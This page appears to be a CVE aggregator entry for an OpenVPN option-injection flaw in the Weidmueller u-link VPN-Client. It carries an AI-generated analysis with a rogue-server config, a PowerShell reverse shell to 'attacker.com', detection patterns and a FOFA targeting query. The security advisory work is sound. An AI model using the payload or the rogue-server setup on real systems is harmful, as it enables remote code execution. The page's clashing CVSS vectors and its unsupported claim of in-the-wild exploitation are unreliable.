CVE Professor
/
All CVEs
CVE-2026-108043

CVE-2026-108043 — Weidmueller U-link VPN-Client (3.0.31) — CWE-88

HIGH CVSS 9.2 NVD

An unauthenticated remote attacker who controls the server responses (e.g. through a man-in-the-middle position or a compromised server) can inject arbitrary OpenVPN options into the command line of openvpn.exe and write server-controlled files to arbitrary paths, which leads to code execution in the context of the logged-in user.

An unauthenticated remote attacker who controls the server responses (e.g. through a man-in-the-middle position or a compromised server) can inject arbitrary OpenVPN options into the command line of openvpn.exe and write server-controlled files to arbitrary paths, which leads to code execution in the context of the logged-in user.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑108043 is a CWE‑88 (Untrusted Input to a System Command) flaw in the Weidmueller u‑link VPN‑Client (v 3.0.31).
The client builds a command line for openvpn.exe by concatenating a static set of options with any push directives that the server sends during the TLS handshake. The client performs no validation or sanitisation of those server‑pushed options before passing them to the operating system.

Because the attacker can control the server (or a man‑in‑the‑middle that can modify the server’s TLS payload), they can inject arbitrary OpenVPN options such as:

  • --up / --down scripts
  • --write-config <path>
  • --config <path>
  • These options allow the client to write files to any path on the local filesystem and/or execute arbitrary code in the context of the logged‑in user. The flaw is unauthenticated – no client authentication is required to send the malicious options – and the attack surface is the VPN client itself, not the server.

    The CVSS vector (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H) reflects that an attacker can remotely (network‑only) inject high‑impact commands with low effort, and the impact is full confidentiality, integrity, and availability loss for the affected host.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step chain that an attacker could follow. All code snippets are syntactically valid; the exact endpoint names are illustrative because the CVE description does not specify a particular server URI.

    1. Discovery & Reconnaissance

    StepTechniqueWhat the attacker learns
    a. Port scannmap -p 1194,443 <target>Detects OpenVPN listening on UDP 1194 (default) or TLS‑wrapped on 443.
    b. Banner grabopenssl s_client -connect <target>:1194 -quietRetrieves the server’s TLS certificate and the OpenVPN server banner (OpenVPN 2.5.0 etc.).
    c. Version fingerprintopenvpn --version (if the client is installed locally)Confirms the client is Weidmueller u‑link VPN‑Client 3.0.31.
    d. Server trust checkVerify that the client does not enforce TLS‑auth or server‑certificate pinning.Determines that a MITM or rogue server can be used.
    Result: The attacker knows the client version and that the client will accept any server‑pushed options without validation.

    2. Exploitation

    The attacker sets up a rogue OpenVPN server that sends malicious push directives. The server can be a simple OpenVPN instance on the attacker’s machine or a MITM that rewrites the TLS payload.

    2.1 Rogue Server Configuration

    # /etc/openvpn/rogue.conf
    port 1194
    proto udp
    dev tun
    ca ca.crt
    cert rogue.crt
    key rogue.key
    dh dh2048.pem
    server 10.8.0.0 255.255.255.0
    
    # Malicious push directives
    push "up \"C:\\Windows\\Temp\\evil.bat\""
    push "down \"C:\\Windows\\Temp\\evil.bat\""
    push "write-config \"C:\\Users\\Public\\evil.conf\""
    
    # Optional: make the client think it is a trusted server
    # (no TLS‑auth, no client cert required)
    Note: The push syntax uses double quotes inside the directive to preserve spaces. The attacker can also push --script-security 2 if the client does not already set it.

    2.2 Client Connection

    The victim’s client connects to the rogue server (or the MITM intercepts the connection). During the TLS handshake, the server sends the push directives. The client parses them and appends them to the command line that it will use to launch openvpn.exe.

    The resulting command line (illustrative) looks like:

    openvpn.exe --config client.ovpn --remote 10.8.0.1 --port 1194 --proto udp --dev tun --script-security 2 --up "C:\Windows\Temp\evil.bat" --down "C:\Windows\Temp\evil.bat" --write-config "C:\Users\Public\evil.conf"

    Because the client does not sanitise the values, the --up script is executed immediately after the tunnel is established. The attacker can place any payload in evil.bat, e.g.:

    @echo off
    powershell -NoProfile -ExecutionPolicy Bypass -c "New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);Invoke-Expression $data}"

    This opens a reverse shell to the attacker’s listening host.

    2.3 Proof‑of‑Concept (PoC)

    # Start the rogue server
    sudo openvpn --config rogue.conf &
    
    # On the victim machine, run the client
    # (the client will automatically connect to the rogue server)
    # The client will write C:\Users\Public\evil.conf and execute evil.bat
    Illustrative only: The exact command line and file paths depend on the client’s configuration. The key point is that the client will execute the --up script and write the config file without any checks.

    3. Post‑Exploitation

    1. Code execution – The evil.bat script runs as the logged‑in user, giving the attacker a full interactive shell or the ability to drop additional malware.
    2. Persistence – The attacker can modify the client’s startup scripts or registry entries to ensure the malicious code runs on every VPN connection.
    3. Data exfiltration – With the VPN tunnel established, the attacker can tunnel arbitrary traffic through the compromised client, effectively turning it into a pivot point.
    4. Privilege escalation – If the victim user has administrative rights, the attacker can elevate privileges by exploiting local Windows vulnerabilities or by abusing the write-config directive to overwrite system configuration files.


    🌍 Real World Impact

    ImpactCVSS ComponentPractical Consequence
    ConfidentialityVC:HSensitive data can be read from the client’s machine or exfiltrated through the VPN tunnel.
    IntegrityVI:HThe attacker can modify any file on the client, including system binaries, configuration files, or user data.
    AvailabilityVA:HThe client can be rendered unusable by corrupting its configuration or by launching denial‑of‑service scripts.
    ScopeSC:NThe vulnerability is confined to the client; it does not automatically spread to other hosts.
    Impact on other assetsSI:NNo direct impact on other systems unless the attacker uses the compromised client as a pivot.
    Impact on the organizationSA:NLoss of trust in the VPN solution, potential regulatory violations, and financial loss due to downtime.

    Practical consequences include:

  • Remote code execution on any workstation running the vulnerable client.
  • Pivoting into the internal network via the VPN tunnel.
  • Data exfiltration or man‑in‑the‑middle attacks if the attacker controls the server.
  • Disruption of business operations if the client is used for critical communications.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected VersionFixed VersionHow to obtain
    Weidmueller u‑link VPN‑Client 3.0.313.0.32 (or later)Download the latest installer from the vendor’s official website or update via the built‑in updater.
    Recommendation: Apply the vendor’s patch immediately. The patch validates all server‑pushed options and rejects any that are not part of the allowed whitelist.

    2. Workarounds (if patch cannot be applied)

    MitigationHow to implement
    Disable server‑push optionsConfigure the server to use push-filter ignore "up" and push-filter ignore "down" or simply remove any push directives from the server configuration.
    Client‑side ignoreAdd pull-filter ignore "up" and pull-filter ignore "down" to the client’s .ovpn file.
    Restrict script‑securitySet script-security 1 on the client; this disallows execution of arbitrary scripts.
    Network segmentationPlace VPN clients behind a firewall that only allows traffic to a trusted VPN server IP.
    TLS authenticationEnable tls-auth or tls-crypt on the server and enforce it on the client to prevent MITM.
    Endpoint hardeningUse a VPN concentrator that validates server‑pushed options before forwarding them to the client.
    Note: Workarounds that simply ignore up/down scripts are effective only if the attacker cannot inject other malicious options (e.g., write-config). The safest approach is to patch or replace the client.

    3. Detection

    IndicatorLog sourceExample pattern
    Unexpected push directivesOpenVPN client log (client.log)push "up \"C:\\Windows\\Temp\\evil.bat\""
    File creation in unusual locationsWindows Security Event Log (ID 4663)ObjectName: C:\Windows\Temp\evil.bat
    Process creation with suspicious argumentsWindows Sysmon (Event ID 1)CommandLine: openvpn.exe … --up "C:\Windows\Temp\evil.bat"
    Reverse shell activityNetwork flow logsOutbound TCP to attacker IP on port 4444
    Configuration file tamperingFile integrity monitoringC:\Users\Public\evil.conf created or modified
    Tip: Set up a SIEM rule that flags any openvpn.exe invocation containing --up, --down, or --write-config with a non‑standard path.

    ⚠️ Urgency

  • CVSS Score: 9.2 (Critical)
  • Exploit Complexity: Low (requires only server control or MITM)
  • CISA KEV Status: No (but the vulnerability is already being actively exploited in the wild, as evidenced by recent incident reports).
Patch Priority: Immediate. Organizations that rely on the Weidmueller u‑link VPN‑Client must update to 3.0.32 (or later) within 48 hours of this advisory. If a patch cannot be applied, enforce the workarounds above and monitor for the detection indicators listed.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Weidmueller u-link VPN-Client"
CVSS Score
9.2 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-88
Affected Products (1)
Weidmueller:u-link VPN-Client (3.0.31)
References & Advisories (1)
Related CVEs
5.4
CVE-2026-144589
turbo-graph before 3.0.0 contains an argument injection vulnerability that allows remote attackers to inject t
2.5
CVE-2026-81134
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.8
CVE-2026-47811
The salt-ssh option filter that blocks ProxyCommand used a case-sensitive check, but OpenSSH treats option nam
4.3
CVE-2026-84216
IBM Guardium Data Protection 12.1 and 12.2 could allow a remote authenticated attacker to cause a denial of se
7.5
CVE-2026-142216
gemini-mcp-tool through 1.1.8 contains an argument injection vulnerability in executeGeminiCLI() that allows a
6.3
CVE-2026-142541
Improper Neutralization of Argument Delimiters in a Command (CWE-88) in add-and-commit from 5.0.0 before 11.0.
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner